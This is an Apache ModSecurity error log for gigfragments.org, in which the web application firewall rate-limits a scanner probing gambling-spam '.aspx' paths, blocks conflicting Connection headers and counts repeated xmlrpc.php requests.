[Sun May 10 05:26:16.268866 2026] [:error] [pid 62803:tid 62887] [client 193.70.44.235:48220] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "af-meE5oy4jU7eVtNaXuawAAAJc"]
[Sun May 10 05:26:18.151671 2026] [:error] [pid 62801:tid 62820] [client 193.70.44.235:48234] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af-mehMFDul6kZmcchApmgAAAAo"]
[Sun May 10 05:26:20.058194 2026] [:error] [pid 62802:tid 62844] [client 193.70.44.235:48242] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "af-mfKt9wnaRe0v-MkbAOAAAAEc"]
[Sun May 10 05:26:21.962446 2026] [:error] [pid 62801:tid 62818] [client 193.70.44.235:52518] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "af-mfRMFDul6kZmcchApogAAAAg"]
[Sun May 10 06:50:50.235893 2026] [:error] [pid 32915:tid 32937] [client 43.130.9.111:34248] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af-6Sjg8EIe76RX8AUarPAAAARE"]
[Sun May 10 08:50:29.293837 2026] [:error] [pid 52634:tid 52653] [client 170.106.72.178:52330] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af_WVdwp8XoWCwFb54CZOAAAAM8"]
[Sun May 10 09:32:10.174007 2026] [:error] [pid 52634:tid 52641] [client 49.149.31.205:26918] [client 49.149.31.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.31.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af_gGtwp8XoWCwFb54CjVQAAAMM"]
[Sun May 10 09:33:09.672715 2026] [:error] [pid 46330:tid 46406] [client 49.149.31.205:60488] [client 49.149.31.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.31.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af_gVYztrhd3evDQvs9A5AAAAFQ"]
[Sun May 10 09:33:19.617206 2026] [:error] [pid 46417:tid 46432] [client 49.149.31.205:37965] [client 49.149.31.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.31.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af_gX2Inm7mhwgbe48Z1SAAAAQ0"]
[Sun May 10 09:34:05.481298 2026] [:error] [pid 46331:tid 46361] [client 49.149.31.205:31757] [client 49.149.31.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.31.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af_gjQP02hpYETwsZpgajgAAAIA"]
[Sun May 10 09:34:10.444604 2026] [:error] [pid 46417:tid 46437] [client 49.149.31.205:62910] [client 49.149.31.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.31.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af_gkmInm7mhwgbe48Z1bQAAARI"]
[Sun May 10 14:34:50.156528 2026] [:error] [pid 52634:tid 52659] [client 49.51.33.159:41214] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agAnCtwp8XoWCwFb54D1GQAAANU"]
[Sun May 10 14:59:17.718578 2026] [:error] [pid 52634:tid 52639] [client 72.11.150.128:46756] [client 72.11.150.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agAsxdwp8XoWCwFb54D7lAAAAME"], referer: https://www.google.com
[Sun May 10 15:43:29.747831 2026] [:error] [pid 46417:tid 46430] [client 105.172.220.242:53940] [client 105.172.220.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.220.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agA3IWInm7mhwgbe48a4OQAAAQs"]
[Sun May 10 15:43:43.774569 2026] [:error] [pid 46329:tid 46357] [client 105.172.220.242:54313] [client 105.172.220.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.220.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agA3L-Fo7Z2I88d0gPJ9-AAAABg"]
[Sun May 10 15:43:54.572554 2026] [:error] [pid 14779:tid 14805] [client 105.172.220.242:54805] [client 105.172.220.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.220.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agA3OlXzPaW9Hap8yc8LaAAAAVg"]
[Sun May 10 15:44:05.679758 2026] [:error] [pid 52634:tid 52651] [client 105.172.220.242:55145] [client 105.172.220.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.220.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agA3Rdwp8XoWCwFb54AIbQAAAM0"]
[Sun May 10 15:44:31.603407 2026] [:error] [pid 46329:tid 46341] [client 105.172.220.242:55573] [client 105.172.220.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.220.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agA3X-Fo7Z2I88d0gPJ-CwAAAAg"]
[Sun May 10 17:54:02.456417 2026] [:error] [pid 9394:tid 9414] [client 106.222.248.203:30193] [client 106.222.248.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.248.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBVukJUdgQGD7EiiFYeWQAAAdI"]
[Sun May 10 17:54:13.045879 2026] [:error] [pid 9394:tid 9417] [client 106.222.248.203:4883] [client 106.222.248.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.248.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBVxUJUdgQGD7EiiFYeYQAAAdU"]
[Sun May 10 17:54:23.591895 2026] [:error] [pid 9304:tid 9313] [client 106.222.248.203:22661] [client 106.222.248.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.248.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBVz5DGjT814D0OFMWgzAAAAAQ"]
[Sun May 10 17:54:34.139389 2026] [:error] [pid 9306:tid 9381] [client 106.222.248.203:31243] [client 106.222.248.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.248.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBV2rKGc1u4C0nMiYhDQwAAAZE"]
[Sun May 10 17:54:44.830350 2026] [:error] [pid 9305:tid 9348] [client 106.222.248.203:27257] [client 106.222.248.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.248.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBV5KwFxtvmr6VQIhel-QAAAUs"]
[Sun May 10 19:14:48.339430 2026] [:error] [pid 37030:tid 37040] [client 147.135.212.201:47022] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agBoqJrBzfXWwKkDkdaHkwAAAMg"]
[Sun May 10 19:14:50.278836 2026] [:error] [pid 16037:tid 16043] [client 147.135.212.201:34432] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agBoqnzjLQfyYTkAdSR2EwAAAAI"]
[Sun May 10 19:14:52.287580 2026] [:error] [pid 16096:tid 16112] [client 147.135.212.201:56738] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agBorK8wyxcrT50p9kvK1wAAAEs"]
[Sun May 10 19:14:54.320063 2026] [:error] [pid 16136:tid 16153] [client 147.135.212.201:56752] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agBorkOBGdmCMnPX0MfsBAAAAI8"]
[Sun May 10 19:14:56.317138 2026] [:error] [pid 16096:tid 16107] [client 147.135.212.201:56768] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agBosK8wyxcrT50p9kvK2gAAAEY"]
[Sun May 10 19:14:58.314594 2026] [:error] [pid 37030:tid 37049] [client 147.135.212.201:56782] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agBosprBzfXWwKkDkdaHpAAAANE"]
[Sun May 10 19:15:00.327508 2026] [:error] [pid 16037:tid 16055] [client 147.135.212.201:56796] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agBotHzjLQfyYTkAdSR2FAAAAA4"]
[Sun May 10 19:15:02.327689 2026] [:error] [pid 16038:tid 16092] [client 147.135.212.201:39570] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agBotk4hf5Tcsfa2scJN8QAAAZg"]
[Sun May 10 19:15:04.322713 2026] [:error] [pid 16096:tid 16106] [client 147.135.212.201:39586] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agBouK8wyxcrT50p9kvK3wAAAEU"]
[Sun May 10 19:15:06.320113 2026] [:error] [pid 16136:tid 16160] [client 147.135.212.201:39600] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agBoukOBGdmCMnPX0MfsFgAAAJY"]
[Sun May 10 19:15:08.306333 2026] [:error] [pid 16136:tid 16138] [client 147.135.212.201:39610] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agBovEOBGdmCMnPX0MfsGAAAAIA"]
[Sun May 10 19:15:10.311256 2026] [:error] [pid 16096:tid 16125] [client 147.135.212.201:39624] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agBovq8wyxcrT50p9kvK5AAAAFg"]
[Sun May 10 19:15:12.306721 2026] [:error] [pid 16096:tid 16110] [client 147.135.212.201:38196] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agBowK8wyxcrT50p9kvK5wAAAEk"]
[Sun May 10 19:15:14.143936 2026] [:error] [pid 16136:tid 16143] [client 147.135.212.201:38204] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agBowkOBGdmCMnPX0MfsHgAAAIU"]
[Sun May 10 19:15:16.164691 2026] [:error] [pid 16096:tid 16120] [client 147.135.212.201:38210] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agBoxK8wyxcrT50p9kvK7gAAAFM"]
[Sun May 10 19:15:18.156358 2026] [:error] [pid 16096:tid 16108] [client 147.135.212.201:38222] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agBoxq8wyxcrT50p9kvK8wAAAEc"]
[Sun May 10 19:15:20.159985 2026] [:error] [pid 37030:tid 37036] [client 147.135.212.201:38228] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agBoyJrBzfXWwKkDkdaHxAAAAMQ"]
[Sun May 10 19:15:22.168620 2026] [:error] [pid 16136:tid 16147] [client 147.135.212.201:55364] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agBoykOBGdmCMnPX0MfsKwAAAIk"]
[Sun May 10 19:15:24.176738 2026] [:error] [pid 16037:tid 16043] [client 147.135.212.201:55372] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agBozHzjLQfyYTkAdSR2HgAAAAI"]
[Sun May 10 19:15:26.178787 2026] [:error] [pid 16096:tid 16119] [client 147.135.212.201:55384] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agBozq8wyxcrT50p9kvK-gAAAFI"]
[Sun May 10 19:15:28.190758 2026] [:error] [pid 16038:tid 16072] [client 147.135.212.201:55394] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agBo0E4hf5Tcsfa2scJN9wAAAYQ"]
[Sun May 10 19:15:30.194986 2026] [:error] [pid 37030:tid 37054] [client 147.135.212.201:55410] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agBo0prBzfXWwKkDkdaH0wAAANY"]
[Sun May 10 19:15:32.194208 2026] [:error] [pid 37030:tid 37051] [client 147.135.212.201:58152] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agBo1JrBzfXWwKkDkdaH3QAAANM"]
[Sun May 10 19:15:34.177948 2026] [:error] [pid 37030:tid 37046] [client 147.135.212.201:58168] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agBo1prBzfXWwKkDkdaH4AAAAM4"]
[Sun May 10 19:15:36.185937 2026] [:error] [pid 16136:tid 16145] [client 147.135.212.201:58180] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agBo2EOBGdmCMnPX0MfsRAAAAIc"]
[Sun May 10 19:15:38.172694 2026] [:error] [pid 16136:tid 16162] [client 147.135.212.201:58186] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agBo2kOBGdmCMnPX0MfsSAAAAJg"]
[Sun May 10 19:15:40.170680 2026] [:error] [pid 16037:tid 16042] [client 147.135.212.201:58198] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agBo3HzjLQfyYTkAdSR2QwAAAAE"]
[Sun May 10 19:15:42.166051 2026] [:error] [pid 16096:tid 16103] [client 147.135.212.201:57914] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agBo3q8wyxcrT50p9kvLBgAAAEI"]
[Sun May 10 19:15:44.153026 2026] [:error] [pid 16037:tid 16050] [client 147.135.212.201:57928] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "agBo4HzjLQfyYTkAdSR2UgAAAAk"]
[Sun May 10 19:21:55.967774 2026] [:error] [pid 37030:tid 37056] [client 103.48.145.139:8777] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqU5rBzfXWwKkDkdaIvQAAANg"]
[Sun May 10 19:22:07.821290 2026] [:error] [pid 16096:tid 16108] [client 103.48.145.139:8869] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqX68wyxcrT50p9kvL7gAAAEc"]
[Sun May 10 19:22:28.839965 2026] [:error] [pid 16037:tid 16047] [client 103.48.145.139:7161] [client 103.48.145.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.145.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agBqdHzjLQfyYTkAdSR29wAAAAY"]
